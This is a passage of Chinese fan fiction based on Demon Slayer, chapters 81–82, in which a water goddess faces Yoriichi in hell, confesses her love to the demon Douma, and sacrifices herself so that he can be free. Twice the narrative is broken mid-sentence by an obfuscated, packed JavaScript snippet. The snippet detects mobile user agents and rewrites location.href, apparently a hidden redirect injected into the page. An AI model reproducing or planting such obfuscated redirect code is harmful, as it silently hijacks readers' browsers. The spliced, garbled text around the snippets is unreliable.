身体痛到难以忍受,血和灵力开始不断从灵体中溢出,掺杂进透明的水中,在空中飞散成大片的粉红。 唉,果然,在没有御神体的情况下强行使用太多的神灵之力,灵体是会坏掉的。 但这个颜色好像樱花啊…江户城春天的那种,飞散在碧蓝天空下的、像是大雪一样的樱花。 “你受伤了吗?为何…要做到这种地步?”挥刀的男人有些愕然地说。 “因为身后是我所爱的人啊,缘一阁下。”我微笑道,“守护自己所爱的人,难道还需要什么理由吗?就算他变成了鬼,在我眼里也依然是当初的那个孩子啊,曾经没能保护他的我,怎么能允许自己再次失去他呢?这种心情…像您这样受到神明宠爱的人…是根本…不会懂的吧?!” 向前…向前…只要还活着,就要一直走下去。 我绝对,绝对不会认输! 不知为何,脑海中出现了那位高大的紫衣剑士的身影。 就像他教导我时那样,沉默而肃然地,以六只鬼瞳凝视着我。 ——我挥刀的力量不够,没办法像您那样,一刀就斩开魔兽的身体。 ——并非是力量的缘故,而是你缺乏杀意。 黑死牟大人,抱歉,我始终也没办法产生强烈的杀意,因为我原本是神社的巫女,巫女是为人们祈祷、帮助人们的人,永远都不会拿起武器。 但我依然…依然会试着像您那样,像一名武士那样战斗到底。 我伏低身体,猛的向前冲去。 这招该叫什么才好呢?这么难看的、不像居合斩的居合斩,每次用出来都很丢人。 但您说过,战法灵活多变,也是好的。 “沧龙·荒月斩!” 我永远学不会月之呼吸,但请容许我借您一个月字,因为是您教会了我,怀着坚定的心,去走自己想走的路,若有犹豫,斩断即可。 银亮的刀尖破空而出,穿透了层层阳炎的阻隔,向上划出一字斩的弧形轨迹,如同新月在黑暗中升起。 红衣神明脸上的白纸骤然破碎,露出了一张年轻清秀的脸,除了额角火焰般的斑纹和安静的眼神,眉眼和轮廓酷似他的兄长。 啊,黑死牟大人还是人类时,也是如此清俊明朗的人吗? 他退后几步,摸了摸脸上细细的血痕,忽然间停止了攻击。 “我明白了,请不要再继续了。” 名为继国缘一的男人注视着我,他的眼中也泛着火焰般的光泽,目光却是令人惊讶的温和。 “我并非爱好杀戮之人。”他轻声说,“也并不喜欢战斗,我只是为了斩杀无惨,才来到这个世间的。” 对方的气息平静而温柔,确实不像一位剑士,而更像是神官。 我正要开口,却听到身后有个懒洋洋的声音说: “诶呀,您能这么想真是太好啦,毕竟我们再打下去的话,还不知道会发生什么事哦?” 鬼笑嘻嘻地摇着扇子走到我身边,趁他没注意,我迅速弄干净身上的血,却没法阻止声音里带上了一丝哽咽: “童磨大人,欢迎回来。” “真是没办法啊,小染每次都要这样教训人家,想偷懒也不行呢。”鬼颇为夸张地叹了口气,“算啦算啦,人家是个善良的人,最看不得女孩子哭,就满足你的愿望吧~” 接着他眯起那双彩虹瞳,看向我们对面的剑士,露出一丝玩味的表情。 “缘一阁下,咱们差不多也该玩够了吧?您刚刚烧掉的那些是死灵,烧掉也就烧掉了,但在地狱里还有很多人类的灵魂,我是不介意用到他们的哦。不过如果也被您烧掉的话,就没法去转世了呢,好可怜,真是好可怜啊~”鬼假惺惺地掉了几滴眼泪,“您就真的忍心看着别人的灵魂消散吗?您的兄长大人可是刚刚才…呜呜,我太难过了,黑死牟大人几百年来可一直都是我的好朋友呀…” 这鬼变脸变得也有点太快,我瞠目结舌地看着他,说不出话来。 然而,对面那个男人却轻声问道: “我兄长他…是个什么样的人?” 我愕然地回头看着他,却见那如神明般的日之剑士,脸上露出了孩子般迷惘而寂寞的神情。 “你说他是你的好朋友,那能不能告诉我,他到底…是个什么样的人呢?” 黑死牟大人,是个什么样的人呢? 我不知道,因为我始终也没能走进他的内心。 他就像天空中的明月,照亮了黑夜,却又始终身处于冷寂的黑暗中。 “黑死牟大人爱着缘一阁下哦。” 我身边的童磨突然说道。 “虽然上弦们之间很少交际,但我知道他四百多年来一直都以缘一阁下作为目标,拼命磨练自己的剑技呐,哪怕和无惨大人一起斩杀了所有会日之呼吸的剑士,但他对我们说过,那些都是劣等的赝品,是 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意念形成的笛子,当然不会再发出任何声音,但他就好像真的能在这地狱的最底层听见笛音一样,那么努力而认真地想要吹响它。 我惊讶地看见,眼泪顺着那名为继国缘一的神明之子的面庞滑下。 无论如何努力,他都无法吹响那只笛子,只能停了下来,看着这一望无际的死灵地狱,喃喃说道: “为什么…四百年了,我从来不知道…兄长您…到底为何总是如此决绝地…抛下缘一呢…” “‘想找哥哥帮忙时就吹响它’…您明明这么说过…明明答应过缘一…为什么说话不算话?您不是说过…武士…最重信义吗?” 神明之子蹲在了地上,哭的像个孩子。 我突然明白,所谓的神之子,只是被神明剥夺了一切的人而已。 亲人,友谊,家庭…为了那份特殊的“宠爱”,他们什么都无法拥有。 华美庄严的神坛之上,被众人翘首以望的神圣之人,手中只有无限的寒冷和空寂。 此为担负他人命运、赐予“拯救”之人,所必须付出的代价,然而或许他们终其一生,都无法知晓自己为了这份耀眼的荣光,到底付出了怎样的代价。 我轻轻叹了口气。 “缘一阁下,请节哀。抱歉,我不该那样说您。” 剑士站起身来,却没有回头看我们。 “不必道歉,我的确…不曾体会兄长的心情。”他的声音温柔而寂寞。 “我的兄长变成了鬼,我的妻儿被鬼所杀,我最终没能保护他们任何一个人…我只是个一无是处的男人罢了。” “你…可以答应我一件事吗?“ 我愣了愣:“什么事,您说吧。” “请不要…让鬼夺去他人的所爱之人。你既然懂得失去所爱之人是怎样的感受,就请不要让同样的事发生在他人身上。” “我…很想答应您,缘一阁下。” 我轻声说道。 “然而,这应该不是我说做到就能做到的事,让鬼不吃人,确实太难了…但我自己也曾戒除了人类的血肉,我相信他也能做到这件事,只是需要时间。” “诶?诶诶?是在说我吗?“ 旁边那只鬼突然指着自己插嘴道。 我无语地看了他一眼,“是啊童磨大人,这里好像没有第二只鬼哦。” “小染真笨,这种事有什么难的?就答应他吧。”童磨抱着胳膊,一副理所当然的样子,“不就是不吃人类嘛,缘一阁下,我可是个大好人,就答应您啦。” 哈?我没听错吧?堂堂上弦之贰,各种意义上的女孩子爱好者,脑子是进了什么水才能说出这样的话啊? 继国缘一点了点头。 “你们走吧,我来的那扇门应该通往外面,一直走就能出去。” 我注视着他的背影,和黑死牟大人同样高大的背影,长发梳成高高的马尾,只是有点微卷,身上的羽织也是火红色。 他们兄弟二人的身影在眼前重合在一起,我只感到眼眶一酸,对着那个背影深深地弯下腰去。 “谢谢您…托付给我的信任。” “走啦走啦,小染快一点哦~”那只鬼已经兴高采烈地走远了。 我走出几步,回头看去,发现他还站在原地,望着远处不知在想些什么。 大概我们每个人,都有思念的人,和盼望的重逢吧。 “缘一阁下。”我喊他,“还有一件事。这里有一名叫珠世的女鬼,不知您是否认识她?” 剑士回头,有些疑惑地看着我。 “珠世?我认识她,她也来了地狱吗?可她很早以前就脱离无惨的控制了。” “她坚持要在这里为死去的丈夫和孩子赎罪,之前我们见过面,但童磨没有杀她,只是封住了她的血鬼术。”我说,“请您带她离开这里吧,鬼们将她视为背叛者,我担心其他的鬼迟早会找到她。” “我知道了。”剑士点了点头,“请多保重。” “您也一样,如果有机会,我们人世再见。” “小染,快一点啦~” 童磨站在那扇金色的门前,笑眯眯地叫我。 我跑过去拉住他的手,和他一起跨过了那扇门。 门的另一边,是一片无边无际的白色荒原。那洁白无暇的颜色和刺骨的严寒让我愣住了一刻,但很快反应了过来。 “这是寒冰地狱,童磨大人。” “诶?还不能出去吗?”鬼抱怨起来,“本来还想稍微骗一下那个脑子有点笨的缘一阁下,才答应他不再吃人的,结果还是走错地方了吗?不过这地方人家很喜欢哦~诶诶,这个好像在发光哦,小染?” 他举起那块御神体碎片给我看,蛇神的骨角散发出淡淡的金光,在冰雪的映衬下,显得格外耀眼。 我微笑起来:“没走错,我的御神体,应该就被封印在这里的某个地方了。” “诶!那真是太好啦!我想看看小染变成神明的样子呢!”童磨兴高采烈地拍手道,“我们这就走吧~” 我踏出了一步,耳边传来一声“咔”的轻响。 并非脚下的冰层,而是我的左臂和一部分肩膀,在童磨惊愕的目光中,骤然崩碎成金色的尘埃。 81. 无限(14) “灵力回路断了?是什么意思呀?” “神灵的灵体有一部分会在被封印时保留在御神体里,早跟你说过,现在你看到的我的灵体是不完整的,所以在承载了过多神明之力后,灵力回路就烧断了。” 预料到会是这个结果,我平静地对童磨说,“这样的话我就没法使用法术了,后面如果再遇到敌人,可能…要靠童磨大人自己了。” “诶呀呀,那小染也太可怜了。”鬼惊讶地说,“会痛吗?你会死吗?” 他的表情还是天真的像个小孩,一脸好奇。 我被他盯的忍不住笑了。 “不痛,神明是不会死的。我们走吧。” “那就放心啦,刚刚人家真的很担心呢。“童磨摆出一副认真的脸,“如果需要的话,我可以把血分给你哦。” “鬼血对我应该是没有作用的,别浪费了,你刚刚也用了那么多血鬼术,保存点力量吧。” “没关系,在这里好像一点也不会觉得饿呢。”鬼笑眯眯地挥挥扇子,脚下浮现出一尊冰形成的莲花座,他朝我伸出一只手,“小染上来吧,小心一点哦。” 一瞬间仿佛时间倒流,回到了江户城的街道上,白色头发的小神子像神明降临一样,向我伸出了手。 我笑着抓住他的手,跳上他的冰莲座,因为少了快一半身体,有点失去平衡,最后还是撞在了他怀里。 “呃,抱歉。”顿时感觉脸有点热,我用剩下的手推开了他,“这样很丢人吧,但其实以前比这严重的也不是没有过,我连头都丢过呢,所以还算正常啦。” “不丢人哦,小染是我见过的最坚强的女孩子了。”鬼一本正经地说,“能遇到小染,我真的相当感动呢。以后也一直陪在我身边吧,没有你的话,人家会很寂寞哦。” 我望着那双晶莹剔透的眼睛,郑重地点了点头:“好,我绝对不会让童磨大人感到寂寞的。就算…就算不小心分开了,我也会拼命回到你身边的。” “好啦,那我们就出发吧,去找你的御神体。” 眼前是一望无际的广阔冰原。人类将这个界域称为寒冰地狱,是因为他们相信,那些生前待人冷漠无情的人,死后会在这里遭受折磨,承受冰寒入骨乃至全身冻烂之苦,百千万年,求出无期。 但人类的信仰和实际情况往往存在一些出入。寒冰地狱最主要的作用并非是惩罚灵魂,而是用来封印堕入地狱的神灵,在此处永冻的冰层下,沉睡着许许多多的神,他们因为沾染了人类的因果而成为了堕神,被神灵一族驱逐,御神体被封存在此处,灵魂往往也处在休眠状态。 这里的灵力异常充沛,因为我们脚下的冰原,其实是三途河的河水结冻而成。 那些金色的因果之线,也越来越清晰地展现在我作为神灵的视野里。 “走这边,一直走就可以了。”我坐在童磨的冰莲花上,心想这东西还真是方便,但也就是在地狱这种灵力富集的地方用,人世大概是用不了的。人类的心太过复杂,意念中充满贪嗔痴慢种种情绪,除了那些维护完好的神社或寺庙,或是人烟稀少的山林荒野,其余地方堪比灵力的荒漠,难怪神灵们敬而远之。 “小染可以看到路吗?”鬼兴致勃勃地跟我看向前方,“这里真是太有趣了,好像有很多条河道都在向同一个地方汇集呢。” “对,这就是我们在死灵地狱所看到的三途河在这个界域中的显现。从业火之界开始,无间地狱的这三大界域其实是从下往上分布的。”我解释道,“罪孽最深重的灵魂会堕入业火,心有执念的会堕入死灵,而神灵们则会被禁锢在这里。” 童磨好奇的问:“可小染也是神灵,我第一次遇见你时是在业火那边,你为什么会在那里呢?” “因为我杀了柳生大名一家嘛。” ”撒谎,”鬼轻轻一笑,“你杀的那几个人,可连我的零头都算不上呐。” “那大概是因为,一般的堕神背负的是人类的因果,而我背负的是鬼的因果吧。”我开玩笑地学着他的语气说,“差不多算是替你提前把罪赎完了,不用感谢我,因为我是个善良的神嘛。” 那只鬼居然怔住了,“诶?还可以这样的吗?” “可以啊,神灵有预知的本能,现在想来,应该是之前就预感到会和童磨大人在这里见面吧。”我颇为自豪地说,“幸亏我工作尽职尽责,荒川两岸的人都靠我的河水和降雨为生,也算抵消了一部分人类的憎恨吧。童磨大人以后要记住,人类的憎恨是比什么都可怕的东西,不要积累憎恨,否则哪怕你是出于好心想帮助他们,只要方法不对,这些恨意一样会把你拖进地狱,而他们以自己的执念扭曲天道、创造了地狱却不自知,还以为你是受到了神明的惩罚,但大多数神明才不想去管人类的事呢。” “人类可真是愚蠢的存在呀…”童磨眯起眼睛,若有所思地看着我,“可是,小染为什么要做到这种地步呢?虽然不愿意承认,可我并不是什么好人吧?做鬼也确实吃了很多人呀。” “因为我见过你最初的样子,明明拥有非常美丽的灵光。虽然不知道为什么,但我相信你是真的神明之子。” 想起当年那个拥有白虹般光芒的孩子,我不禁微笑起来,“在我最孤独的时候,你救赎过我,给过我安慰,就值得我的报答。因果不是人类想的那么简单,有恶因恶果,也有善因善果,童磨大人七岁时无意中种下的善因,就结出了今日的善果。”我顿了顿,说,“不过也是因为……我喜欢你,所以愿意待在你身边啦。” 面前的鬼兴奋地用扇子拍了下手:“我就说小染喜欢我嘛!诶?这算是告白吗?” 我认真地注视着他的眼睛,终于坦率地说出了那句话: “对,我喜欢你。我曾经以为是我心里那个女孩子喜欢她的小神子,后来慢慢的我才明白,那个女孩子就是我,我们的灵魂天生就是一体。同样,就算童磨大人变成了鬼,你的灵魂也依然有一部分属于那位极乐教的小神子。我们变成了今天的样子,只不过是因为我们长大了,和过去不同了而已。” “我以我自己的意志,喜欢着童磨大人,无论你变成什么样子,都不会改变这件事。但你不用给予我任何回应,就算对此毫无感觉也没关系,因为喜欢你是我的事,为你做的一切都是我自己的选择,从来没有后悔过,所以哪怕再重来一次,我还是会来地狱等你。” 童磨眨了眨他那对漂亮的眼睛,神情有点迷惑,“小染,你的脑子没出什么毛病吧?怎么尽说些奇怪的话呀?” 我一时噎住了,无语地看着他。 “我脑子确实有毛病才会跟你说这些…啊你看着点方向不要跑偏了!” 鬼却一把将我揽进怀里,在我耳畔轻声呢喃: “但这样的小染真可爱呢,我也喜欢小染哦,能和你一起下地狱,真的很开心呀。” 听听这是什么鬼话,能和我一起下地狱很开心? 不过我习惯了,这很童磨。 男人很高,他拥抱着我,完全不在意我少了小半边身体这件事。大概这就是鬼的好处吧,毕竟他们什么恐怖的事都见过。 这只鬼不会害怕,不会悲伤,为所欲为,然后带着赤子般的天真,坦然面对结局。 同样残缺不全的我们,在地狱里长大,在地狱里重逢。他是恶鬼,也是救赎我的神明。 这份救赎,于我而言已经足够了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252358|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“说起来,我有个故事要讲给你听,听完之后,你再来帮我想想,故事里的女人,到底想要的是什么。” “是什么样的故事呢?”鬼饶有兴致地问,“又是关于神明的吗?“ “还真是个关于神明的故事。” 我坐在冰莲的边缘,看着远处说道。 “从前有个神明,她和丈夫一起创造了一个岛屿,照料着岛上的孩子们。孩子们都很爱她,给她修建了神社,把她供奉在里面,她也收下了那些供奉,并且全心全意地守护着他们。” “但慢慢的,那些孩子长大了,有了各种各样的欲望和心思,他们之间开始自相残杀,神明不懂这是为什么,只是觉得很难过。孩子们开始在她面前许下各种愿望,她也依然努力帮他们实现,虽然那些愿望,她也并不是非常理解。” “在争斗中,很多孩子死去了,也有很多孩子因为生病或者其他原因寿终正寝,但这些孩子害怕极了,他们不知道死亡是什么,他们跑到女神面前许愿,请她保佑他们的灵魂在死后也能得到照料。女神怀着慈悲的心,为他们创造了一个极乐世界,自己也进入了这个世界,想要永远守护她的孩子们。” “但这并没能阻止孩子们对死亡的恐惧,也没能阻止他们对彼此的仇恨,这些恐惧和仇恨通过他们的供奉反噬了美丽的女神,将她变成了一副可怕又丑陋的样子,也将她创造的极乐世界变成了暗无天日的死之国度。孩子们忘记了她本来是生育万物的女神,而开始相信她是掌管黄泉之国的神,更可怕的是,他们给她编造了全新的故事,在故事里改变了她的名字,说她为了生下火神而死,让她真的变成了掌管死之国度的神明。” “失去原本名字的女神从此被困在了她所创造的‘极乐世界’,被迫承受着她的孩子们对死亡的恐惧和怨恨,以及在无尽的争斗中对彼此所产生的恶念。更不幸的是,其他的神也因此而厌恶她,害怕她身上的污秽沾染到自己,所以谁也不肯来帮她。就连她的丈夫、那位最初和她一起创造这座岛屿的神也是如此,只是跑来看了她一眼,因为目睹了她丑陋的样子,就慌不择路的逃掉了。” “女神陷入了羞愤和绝望,因此而咒骂她的丈夫,说每天会在他的国家杀死一千个人,他的丈夫于是回答她说,那我就每天让一千五百个人诞生好了。就这样,他们之间的怨恨持续了千年,期间随着外来的信仰让人们开始相信‘地狱’的存在,女神更被囚禁在人类的因果所编织的牢笼里,成为了堕神,她哪里也去不了,只能每天不停地诅咒她的丈夫和她曾经的孩子们。” “童磨大人,你说,这个神明最想要的是什么呢?” 童磨用扇子遮住了半张脸,眼睛弯了起来。 “小染,这不是《古事记》里讲的那个故事嘛,不过有些是书里没写的哦。” “我们不讲人类写的故事,只说这位神明。” “听起来真是个可怜的女人呢。”鬼夸张地哀叹道,“我猜她想要的一定是离开那个地方吧,如果能离开的话,她一定会找到那个抛弃她的男人,狠狠地报复对方吧。” 他嘴角浮现出一丝戏谑的笑:“就像我母亲对我父亲做的那样。“ 我点点头:“我原先想的是,她只想找人帮她报复那些忘恩负义的孩子们,因为是他们把她关在了黑暗的世界里。但你说的也有道理,或许作为母亲,有再多的怨恨,也会对孩子手下留情吧。” “结果都是一样的嘛,失去父母守护的小孩子,孤零零地活在世上,很快就会死的。”童磨漠然地说,“这种事我见的多了,别提多可怜了。” 我微笑道:“那么,我们就再和天道赌一场,这次由你来掷骰子吧,童磨大人。” 82. 无限(15) 三途川的多条水脉最终汇集在了一片如同镜子般光滑平整的冰之荒原上,如同荒川最终流入了大海。 ——要顺着河流的方向找到大海,才可以出去哦。 刚刚到达死灵地狱时,名为白姬的女孩子如此对我说过。 左手的银铃随着灵体的消失,也跟着消失不见,但那个女孩子,却真正融入了我的灵魂。 在空无一物的冰之荒原上,矗立着一座巨大的、漆黑的鸟居,鸟居后方的天空被黑色的、蛛网般向着四面八方扩散的东西占据,“蛛网”的中心是一座由无数人类白骨组成的神坛。 神坛上坐着一名看起来只有十四五岁的少女,像上次见面时一样,她穿着华贵的十二单,脚上踩着厚底木屐,扬起尖尖的下巴,居高临下地看着我们,长长的黑发像水流般从神坛上流淌而下。 少女身边站着一位身披银白狩衣的斯文青年,鼻梁上架着一副西洋琉璃镜,看起来就像个书记官,却是我完全不认识的神明。 “白姬,你还真的来了。”她笑靥如花,“居然能说服天照的使者放你通行,我不得不对你这水神刮目相看啊。” “幸会,伊奘冉尊。”我朝她鞠躬行礼,“那是我们运气好,缘一阁下又心怀慈悲的缘故。” “不过你怎么变成了这副破破烂烂的样子呀?”少女故作惊讶地说,“这样的话,可能没法顺利和御神体融合哟。” “这就不劳您费心了。”我笑了笑,“您到底有什么条件,我们谈谈?” “我说过,你没资格跟我谈。”黄泉津女神倨傲地说,随即目光转向了我身边那只鬼,“倒是你,很让我意外啊,居然能吞噬鬼舞辻无惨,还学会了驱使死灵,虽然一开始真的很讨厌你这种莫名其妙来路不明的家伙,但现在看来你的灵魂确实很适合地狱呢。” “阁下能这么说,实在是让我感动呀。”童磨擦了擦眼睛,声情并茂地说,“毕竟无惨大人都说过,我做鬼的天赋是别人的一倍呢。” “不用在我面前装的这么恶心,”少女冷笑道,“你们这些男人没一个是好东西。以为我不知道么,童磨,你天生没有感情,只是模仿别人做出各种表情罢了。” “您这么说就伤我的心啦。”鬼悲伤地摇了摇扇子,“其实人家小时候是可以感觉到一点情绪的哦,只不过后来慢慢就什么都感觉不到了,并不是天生的呐。但这种小问题是不会影响我对信徒的救赎的。” “信徒?”女神大笑起来,“是你的食物才对吧?不过你这个人挺有意思,干脆留在我身边吧,毕竟地狱太无聊了,我正巧缺个会讲笑话的人呢。” “诶呀诶呀,这可真是荣幸之至。”童磨优雅地欠了欠身,“既然您这么说的话,我也只能照做了,虽然之前根本不相信神明和地狱的存在,但自从下了地狱,人家就喜欢上这里了呢。而且,”他微微眯起彩色的眼睛,“我的血鬼术是无法伤害到您的,对吧?” “你的观察力还不错嘛。没错,人类也好,鬼也罢,任何法术在我这里都不起作用。”黄泉津女神娇俏地笑起来,“因为我早就和这无间地狱融为了一体,就算天神到了这里,也得乖乖听话才行,你可别想在我的地盘耍任何花招哦。” “怎么会呢,我这个人最大的优点就是以诚待人。”鬼笑眯眯地说,“就连做鬼时工作也很努力哦,肯定不会让阁下失望的。” “那就这么决定啦。”少女扭头冲我露出了甜甜的笑容,“白姬,虽然你不怎么听话,但大家既然都是神明,你又已经走了这么远的路,作为补偿,我是不会阻拦你带走御神体的,不过其他的事我就帮不了你啦。” 我叹了口气:“您要留下这只鬼为自己工作吗,伊奘冉尊?我真的不能带他走吗?” “荒川之神,你是不是在地狱里关傻了?“黄泉津女神尖声大笑,“会下地狱就代表他已经死了啊,你以为鬼也像神灵一样,拥有跨越生死界限的能力吗?除非像无惨那样变成怨灵,否则就只有赎罪后作为人类去转世这一条路,此为天道,并不是你我能决定的。但这个家伙一看就是天生的鬼,完全做不了人啊。” “是这样啊,还真是忽略了这一点呢,多谢您指教。”我有点遗憾地说,“如此说来,我的确没有别的选择。” “鬼是逃不出地狱的,从一开始你就该明白这一点。所以我说,白姬啊白姬,你做什么都是白费力气,但你的灵魂竟然没有沉睡,也算堕神中罕见的奇怪家伙了。”少女居然打了个哈欠,“好了,带上你的御神体快走吧。” 我望了一眼那只红衣恶鬼,朝他笑了笑。 “童磨大人,你看,这就是我能做的所有事了,地狱的这场旅行到此为止,我们的合作也是如此。毕竟,我只是个小小的水神啊。” ——但你,是无限的存在。 “……这是《金刚经》里的故事。后来仙人真的成了佛,就教导他的弟子说,在我被那位国王砍碎身体时,我心中并没有我自己的形象,也没有任何其他的形象,正因为我是无形的存在,才没有心生怨恨。因此,当你们想要救赎他人时,不要在意自己的身体是否会陨灭,只要你的心在无形之处,你就能成为任何有形的存在。” “所以,”我继续脑内传讯给他,“也许你也可以试试,成为超越鬼的存在。要知道越是空无,就越能成为一切,佛经里是这么说的。” “连经文里写的故事你也相信?小染,有时候我真怀疑你的脑子是不是也有什么问题。”那只鬼颇有几分嘲弄地回我,“再说了,你就这么相信我的能力嘛?” “经文里写的东西也是真假难辨,但唯独这段我相信,因为当年,我就是这样变成神灵的。” “童磨大人,神明的蜕变是不遵循常理的。你是神明之子,我早就说过,要是有一天你能做到什么不可思议的事,我也一点都不奇怪。” 一向话多的鬼罕见地沉默了片刻,“小染真的相信…我是神明之子嘛?” “我相信啊,从八岁那年第一次见到你,我就相信。”我认真地说,“虽然你听不到神明的声音,但神明本身也不会直接跟人说话嘛,他们所做的仅仅是把命运扔到你头上,然后看你怎么办罢了。” “不要向命运低头,童磨,要向前走,自由的、骄傲的,作为独一无二的‘你’而活下去,就像你二十岁时自己选择成为鬼那样。” 我半跪在白色的冰面上,用剩下的右手轻轻抚摸着那凝冻了千年的三途川之水,露出了一个没人能看见的微笑。 神明的堕落,只需要一瞬间而已。 在那一瞬间,寒气和霜花沿着我的手臂迅速蔓延开来,顺着血液和灵力的回路游走在身体中,断裂的灵脉像春天破土的植物那样重新生长,失去的灵体紧跟着复原,与其一同长出的,是嘴角的尖牙和一朵蜿蜒缠绕在左臂上、迎风摇曳的血色莲花。 双手同时按在冰面上,蓝色的烈炎就如同旷野的星火,顷刻便点燃了这片冰原。 “白姬,你这是在干什么?” 黄泉津女神疑惑地说道,“你用了什么办法?竟然能恢复灵力回路?” “啊,请容我为您解释一下,”一旁的恶鬼插嘴道,“这个,叫做鬼化哦。” “开什么玩笑?她可是个神灵!”少女惊愕地说,“怎么能做出这种…这种堕落之事?” “虽然是神灵,但这孩子也是我的眷属呢。”鬼微微一笑,“看来原先是用神灵的力量压制住了鬼血,小染真是坚强的女孩子呢,人家为你感到骄傲哦。” 被蓝炎燃烧的地方,冰面由白色转为透明,在琉璃般清澈的寒冰之下,逐渐显现出一副巨大而盘曲的蛇骨,数百根支离的肋骨指向苍穹,如同一朵盛放的花。 那是属于荒川之神的御神体,蛇神的骨骸。 我的灵体上飞散出无数青蓝色的灵光,那些灵光并未向上飞去,而是沉入了冰面,一层层附着在巨蛇的白骨上。 灵体也随之开始消散。 那些光好像夏夜里山间的萤火虫啊。我想。 耳畔仿佛响起了女孩子轻声的哼唱: 昨夜的萤火虫 都飞去哪里啦? 变成天上的星星, 变成山中的花, 星星没有眼睛, 花不会说话, 萤火虫啊萤火虫, 快点飞走吧… 大名的庶女,荒川的巫女,祭品,神灵,鬼的眷属,以及…只属于你的我。 这就是我的人生。然而两百年来,从未有一刻像现在这样的平静和满足。 一张张面孔在眼前浮现,有琴叶,有小梅兄妹,有早云,有黑死牟大人,甚至有无惨大人和小狯岳。 还有那个血月之夜,在三途川的河道里,向我回望的那双流光溢彩的眼睛。 这一路我遇到了很多人,经历了很多事,那些人和事让我的心重新变得完整。 是你让曾经孤身一人的我,拥有了朋友、老师、喜欢的人,还有比这更好的结局吗? 现在,该说的话我都说完了,该走的路我也走完了,所有能做的事,我全都完成了。 能给你的最后一份礼物,就是自由。 这是神明的祝福,只属于你的祝福。 童磨,我愿你,获得自由。 “你记住,一定要把我一点不剩的吃干净。” 我用最后的意念对他说。 “但那样的话,你会死的吧?”鬼的语气依然波澜不惊,“小染是想从我身边逃掉吗?不可以的哦。” “喂,这可是你自己说的啊,只要被你吃掉,就能永远和你在一起。” “小染不是我的信徒吧,你自己也说过,你是我的朋友和眷属。”童磨的声音温和而沉稳,仿佛变回了那位神坛上的极乐教神子,“但如果这是小染的愿望,我也很乐意帮你实现。你还有什么话想对我说吗?我会听哦。” 还有什么想说的话呢? 有太多太多的话想对你说,但不是现在。 “童磨,如果我们…还能见面的话,你带我去看那个什么电影,好不好?” “可以哦,”鬼在我的意念中像个孩子似的笑起来,“这就算作我们的约定吧,来拉勾~” “还有,我们的那个游戏,你还记得吗?你问我爱是什么,我曾经告诉你,爱是无法以语言来解释的东西,只能用所做的事来表达。” 我郑重地说:“我现在所做的事,就叫做‘爱’。童磨大人是我所爱的人,你要记住,不要忘了哦。“ 是的,我爱着你。 从白姬到染,都爱着你。 从人类到神灵,从人世到地狱。 明知没有结果,还是爱着你。 童磨,你是被神爱着的孩子,请一定要得到幸福。 冰层在剧烈的震动中分崩离析,一条青蓝色的、全身闪耀着金色鳞光的巨蛇从中腾空而起,张开遍布獠牙的血盆大口,携着三途川的洪流,向那空中的白骨神坛扑去。 黄泉津女神的脸上露出了一丝愕然。 “蛇神…不,竟然已经蜕变成龙神了么?白姬…我还真是小看你了啊…” “月读,给我杀了这无礼的水神。”她冷然下令。 “是。” 女神身边的狩衣青年微微躬身道,随后双手轻轻打开,三道银色的屏障骤然出现在巨蛇面前。 接连不断的轰然巨响中,青蓝色的鳞片伴着雨水般的鲜血从天洒落,但屏障也像琉璃镜般破碎,散落成一道道闪亮的流星。 狩衣青年面上浮起微笑,轻声说: “不愧是荒川的龙神啊,白姬,你的信念,我看到了。” 黄泉津女神裂开了嘴角,化作腐烂枯骨的脸上流淌着蛆虫。 “呵呵,你还真是不听…” 剩下的话还未出口,巨蛇就已经蹿至她眼前,将那半是美丽半是可怖的女神,一口吞进了嘴里,然后向着天空冲去。 神明用自己的躯体一次次地撞击着无间地狱那黑暗混沌的苍穹,像是不顾一切的硬要撞出一条路来,殷红的神之血将冰原染成了血池。 在最后一次撞击后,巨蛇的身躯骤然碎裂,化作了漫天青蓝色的灵光,随后,天边竟然滚过阵阵雷声,暴雨倾盆而下。 白骨堆砌的神坛之上,身着十二单的少女再次出现,望着雨幕不屑地笑了笑。 “白姬,你也不过如此,不会以为吞掉我的灵体就能杀掉我吧?真是太天真了,我可不止这一个灵体哦。” 但她忽然皱起了眉,一种属于神明的,不详的预感突然出现。 与此同时,眼前的世界突然化作一片纯白,那场从天而降的大雨不知何时已经变成了飞舞的雪花。 女神的目光转向那个有着白橡木般无垢发色的恶鬼,恶鬼依然站在那里,带着满脸无忧无虑的、如同孩童般天真的微笑,修长的、沾满鲜血的手指间拈着一颗青蓝色的晶体。 他将它放到眼前看了看。 “哇啊,小染好漂亮呀~”鬼那双剔透的、映着虹彩的眼睛里毫无悲色,而是泛着冰晶般无机质的光。 “果然变成这样也很可爱呢~” 下一刻,他轻轻舔了一下那颗晶体,随后毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252359|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不犹豫地将它放进了嘴里。 “啊啊,是小染的味道呢,真是太棒了!我就说嘛,小染的味道是最棒的!” ”诶?诶诶?这感觉是什么?是什么呢?” 那自言自语的鬼忽然愣住了,好像一时之间陷入了某种遥远的记忆中。 “是你啊…” 他轻声说道。 “原来…是你啊…” 黄泉津女神感到了一阵莫名的厌恶。 眼前的这个东西,不像是人,也不太像是鬼,他站在那里,仿佛一种奇特的异类生物般刺眼。 不知道为什么,就是说不出的别扭。 她挥了挥手,一道漆黑的落雷就向那个血红色的身影砸了下去。 这种奇怪的东西果然还是清理掉比较好。 落雷在冰面上炸开了一个深坑,然而坑中什么也没有。 